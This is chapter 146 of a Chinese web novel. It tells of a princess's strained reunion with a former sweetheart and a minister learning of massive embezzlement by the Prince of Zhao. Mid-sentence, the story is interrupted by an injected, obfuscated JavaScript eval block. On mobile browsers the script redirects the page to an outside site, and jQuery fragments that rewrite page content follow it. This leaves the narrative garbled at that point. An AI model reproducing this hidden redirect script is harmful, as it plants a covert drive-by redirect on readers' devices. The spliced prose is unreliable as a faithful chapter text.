146. 第一百四十六章 意难平

作品:《朱明承夜

    郇七郎正专心和他讨论着学问,发现宁晨铎一下子没了声音,不由得好奇,一望就见万叶丛中一点红,竟然是公主嫂嫂亲自来了,顿时眉开眼笑,也没注意到守在门边的冬儿和走得慢慢吞吞的宁晨铎,径直快步走了过去。


    “嫂嫂。”郇七郎收敛着心中的欢喜朝沈明枳行礼过后,又向危老施礼。


    危老断了与沈明枳的叙旧,看了两眼郇七郎的样貌便想起了郇寰,“我说十殿下怎么会专程来探望老夫,原来是顺便。”


    沈明枳边打量郇七郎以确定他这些天过得不错、边笑道:“原是您老人家神龙见首不见尾的,学生不好打扰,今日是碰巧了。”


    危老又呵呵笑了两声,平日里三十步外人畜不分、十步之外男女不辨的老头子,现在只是晃着转过了身子,正要细细去比较郇七郎和他记忆里郇寰的模样,就眼尖地看见十五步外、一身不起眼的深蓝袍的宁晨铎。危老笑了,脸上的褶子更深了,伸手朝宁晨铎招呼:“宁七也来啦?”


    话落,沈明枳这才越过郇七郎在温黄的天光中看见了神色僵硬的宁晨铎。


    宁晨铎是危游旭看着长大的,又是他的得意门生,即便是后来他弃了文墨去礼部当官,这也丝毫没有影响他们的师徒情。危老能在万万人之中一眼认出宁晨铎来,何况只是十五步。


    “参见……参见兖国公主。”


    沈明枳淡淡笑道:“宁大人不必多礼。”


    宁晨铎直起身,抿了抿干涩的嘴唇,有些不知所措,一眼也不敢看沈明枳,一句话也不敢多说,只求助似地望向了危老。


    危老只是叹息。


    危游旭今日乍见沈明枳十分欢喜,又见宁晨铎与之这样生分,心中莫名惋惜,余光瞥见模糊之中与那位年轻的襄阳侯十分相似的一张少年脸孔,心中一切的“莫名”都迎刃而解。


    曾是竹马绕青梅,而今嫁作他人妇。


    兖国公主从小就心思深,脸上的笑容不全是心底真实想法的投射,他危游旭自认是看不透;而宁七这小子,于感情之上最是“愚诚”,念着这一段旧情至今不忘,又似是要记上一辈子、折磨自己一辈子的样子,他看得心疼又无可奈何。这毕竟是他们年轻人的事,他又不是什么正经长辈,即便他托大以长辈的口吻教导、开解宁七,可如果有用,宁七现在早就儿女承欢了;更何况,情之一字,他危游旭自己都参不透,多说只是误人子弟。


    危游旭最后看了一眼宁晨铎,大着胆子琢磨出他的心思,转而对一直被晾在边上的郇七郎道:“郇家小子,方才你与宁七讨论什么呢?”


    郇七郎一惊,心中奇怪,看了一眼默默不语的宁晨铎连忙恭敬地回答,就见危老赞了一声“好学”,随后竟然是扯住了自己的袖子,似是要让自己扶他到路边上的巨石休息。郇七郎不敢不从,只是心中疑虑更盛,悄悄回过头瞥了一眼相对而立的宁晨铎和沈明枳,不由得担心着急起来。


    “看什么呢?”危老对他这样的不专心很是不满。


    郇七郎也不知道自己在着急些什么,只能镇定下来恭敬请教。


    宁晨铎心中擂鼓,为老师这番用心良苦哭笑不得。他是很想见沈明枳,很想和她说说话,但菁明书院大门口、当着郇寰弟弟的面,这着实不妥。


    沈明枳也看明白了危老这偏心偏到了爪哇国,心下无奈,但还是静静地忍受着这尴尬的情状。


    片刻,宁晨铎终于按捺不住自己又要脱缰的心,声音喑哑:“听说……贵府上三小姐香消玉殒……”


    问言,沈明枳的视线从郇七郎和危游旭身上挪了过来,直直地看向宁晨铎,目光清冽,不像是感到厌烦或是失望,这给了宁晨铎莫大的鼓舞,但千言万语只凝成了最后这三个字:“望节哀。”


    沈明枳微一欠身,向他道谢。


    这时,有风自天边起,从沈明枳身后匆匆流过,将她身上那独属于她一个人的气息也顺走了一份,迎面掷入宁晨铎怀中。宁晨铎的心跳漏了一拍,手微微发抖,抑制着自己想去为她别起鬓边碎发的冲动,然则一念落而万念起,此起彼伏,汇聚成涌,将他裹挟其中几欲喘不过气。


    菁明书院曾是他最喜欢的地方。在这里他可以钻研他最痴迷的学问,见到他最爱的人,过他最向往的日子。他曾以为这样的圆满会延续此生,有朝一日他能正大光明地牵起她的手,和她互以爱意相称,拥有属于他们的孩子。


    宁晨铎不敢看她的脸。


    他怕自己贪恋又起,伤到了她,吓到了她,让她对自己彻底失望,让自己在她心中那些许的与众不同都慢慢被自己的笨拙消磨殆尽。


    我的公主,我的鹇儿,我一生最爱的人,不是我的爱人。


    沈明枳也不敢去看他一点点黯淡下去的神色,恍若黯淡下去的不仅仅是宁晨铎这个人,还是她曾经的欢乐。


    危老给郇七郎掰扯完了那些道理,估摸着时间也差不多了,便领着后生颤颤巍巍地走了回来,但见宁晨铎的神色,危老不禁叹息。


    久留无益。


    郇七郎从车窗探头,见宁晨铎还立在原地遥遥望着这里,春寒料峭,衣袂翩飞,周围有不少来来往往的学子,场面还是那般热闹,可郇七郎愣是从中品出了几分寂寥。他缩了回去,就见他的公主嫂嫂也正偏头看着落日余晖,神色冷淡,了无生意。


    片刻,沈明枳注意到郇七郎的目光,收回视线,“危老先生可将道理给你讲明白了?”


    “是,老先生渊博,讲得十分透彻,郇翾受益匪浅。”


    沈明枳挤出了一个笑容:“危老也曾是我的老师,为人甚是亲切,你以后若有不懂尽管去问,他会很乐意的。”


    郇七郎点头:“郇翾明白——”他又想到了宁晨铎,不禁转了话风:“就是老先生实在是太受学子欢迎了,郇翾怕是……抢不过。”


    沈明枳看着郇七郎汗颜的样子又笑道:“我瞧你和礼部宁大人很是亲近,他是危老的关门子弟,他的学问也很好,若是得空你去找他是一样的。”


    郇七郎一愣,壮着胆子问:“嫂嫂和宁大人……相熟吗?”


    沈明枳轻笑一声,心知郇七郎不问琐事,此番斗胆是为了他哥哥,不过郇寰早就对她和宁晨铎的往事了如指掌,也没什么值得遮遮掩掩的,“我和他同为危老的学生,自然是有些交情的。宁大人本身人就很好,就算是看在我与你哥哥的面上,他也会耐心答疑。”


    沈明枳本来不打算将郇寰也扯进话中的,但觉得只有这样才能让郇七郎这个操心的小子放心。果然,郇七郎心中的石头彻底落地,没一会儿就和沈明枳讲起了书院中的一些事情,那个兴奋的劲和郇八娘一模一样,真是让沈明枳消受不来。


    等饥肠辘辘的郇七郎下了车往房间去,暗卫首领季岸这才和沈明枳说上话。


    “怎么?什么消息也没有?”


    季岸惭愧道:“属下无能,宫里一点动静也没有。”


    沈明枳冷笑:“不是你无能,是赵王太有能耐了。”


    能耐!


    此刻郇寰心中也只有这两个字——能耐,他的赵王殿下太能耐了。即便这火气不是冲着赵王本身的,但赵王一派出了任何事都可以算在赵王头上,“赵王”这两个字已经不仅仅属于沈明戬这个人,更是这张庞大贪婪的利益网络,而赵王身为君者反为臣子奴役,是谓可悲可笑。


    郇寰叹气:“殿下,您要和我说实话。”


    赵王也叹气,垂眼扫着堆满桌的急报密信,心知如果郇寰不知道实情便无法筹策,和他坦诚布公是必然的,但他不敢、不愿,他怕自零州三姓之事过后自己在他心中的地位更会因此一落千丈。


    “这笔钱究竟有多少?”郇寰将自己的目光困囿于端在手中的茶碗方寸,以免自己已近


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933562|142272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喷火的视线让赵王欲言又止。


    赵王再叹:“九万两。”


    郇寰眉头一皱,抬起头来。九万两白银其实也算不得什么大钱,他记得沈明枳随手送给郇八娘的那把石上流就值三千两。就赵王现在所用的这间书房,在没有刻意压价的情况下,随便变卖点古董字画,要凑出这区区九万两何其容易。就算当年兵连祸结,那时候的九万两白银远比现在值钱得多,但光安阳渠那一小段河堤的造价就十倍不止这个数目,这空心堤岸绵延了将近百里,有黑心的人贪墨了筑堤的公款、偷梁换柱建了那中空的堤坝,那吞下的必然是百倍不止这点小钱,此时东窗事发,赵王面前横陈的应当是个天文数字才对。


    赵王不敢直视郇寰,三次叹息:“是九万两黄金。”


    屋内刹那死寂。


    郇寰怀疑自己听错了。


    九万两黄金,果然十倍不止这个数。但他们要这么多钱干什么?这是他们几辈子都挥霍不完富贵!是要豢养私兵打算造反么?他是觉得九万两白银太少,实在不符合他对那些老毒虫的了解,但九万两黄金未免夸张,这全然是要掏空国库充作私产、用大楚的国运给自己续命。


    郇寰深深地看了一眼已经额角发汗的赵王。


    他见惯了党争风波,但仍几乎不敢想象有朝一日,梅如故拿着这九万两黄金的贪污罪证当廷弹劾赵王和赵王的所有党羽,这将是多么恐怖的一场浩劫。十年,这是癸卯疫变时埋下的祸根,远不如零州府那个毒窝渊远,但在他毫不知情的阴暗角落里,它已然长得茁壮招摇,将要把每个依附此生存的人都变成滋养自己的肥料。


    郇寰倒吸一口凉气。


    往者不可谏,来者犹可追。


    郇寰自嘲,强迫自己集中精神去给这些饮血食人的饕餮们出对策,因为他们一荣俱荣一损俱损,他郇海山的身家性命、他的志、他的道、他和沈明枳的将来,全赖于赵王这棵大树。赵王不能倒,即便郇寰自己也想砍了已经长得畸形的枝干当柴火烧。


    他感觉有些怪,但还说不上来,只能就着这“九千两黄金”的血债继续查问:“那钱呢?钱到哪里去了?”


    赵王咬牙,攥着双拳焦灼片刻,最后还是抽出桌上一张已经被人揉得发烂的纸,递了过来。


    那是一张大楚的西北边防图。


    郇寰扫了一眼,认出这是靖臣将军辖区,而其中的边防重镇靖安被朱笔点了出来,有如一滴鲜血无比刺眼地洇入了这原本洁白无瑕的纸张。郇寰看着这抹血红呆滞了几息,随即反应了过来。


    赵王亲姐宣国公主和大楚的嫡公主抢得头破血流的那个名叫齐珏的男人,就是现任靖安侯。齐家是军功起家,和前任兵部尚书杜育博的杜家、梁国公主和长宁公主拼得你死我活最后如愿嫁入的张家一样,都是几代人埋在军里的武将世家。但最近这些年,齐家的表现不尽人意,与靖安接壤的方台国十分安分,齐氏嫡系在靖安的守将一换再换,低调得直让人忘记他们齐家也曾是可以和已经败落的荥阳郑氏分庭抗礼的权臣。


    郇寰承认,他也疏忽了。自从宣国公主那档子烂事过后,他也很久没有去关注过靖安侯齐氏了。但而今分析看来,齐家这枚棋子在赵王和诸王的博弈的棋盘之上,占着至关重要的位子。


    和其他亲王相比,赵王的势力十分均衡。寇家和依附其起家的小世族是赵王永世不竭的财源,即便现在寇家倒了,那些寄生于寇家的小世族还如蛆虫一样杀之不尽,赵王依旧有雄厚的财力。他郇海山,其他一些自愿投诚的文官,赵王精心扶持的后生,赵王母族寇家、妻族窦家的一些退隐幕后的元老,他们这些人共同织就了一张规模庞大、利益庞杂的权力网络,从六部五寺到菁明书院全面覆盖,即使这么多年,来来去去,这里被砍掉一段那里被刮去一块,但整体的架构依旧完整。


    财和权之后就是兵。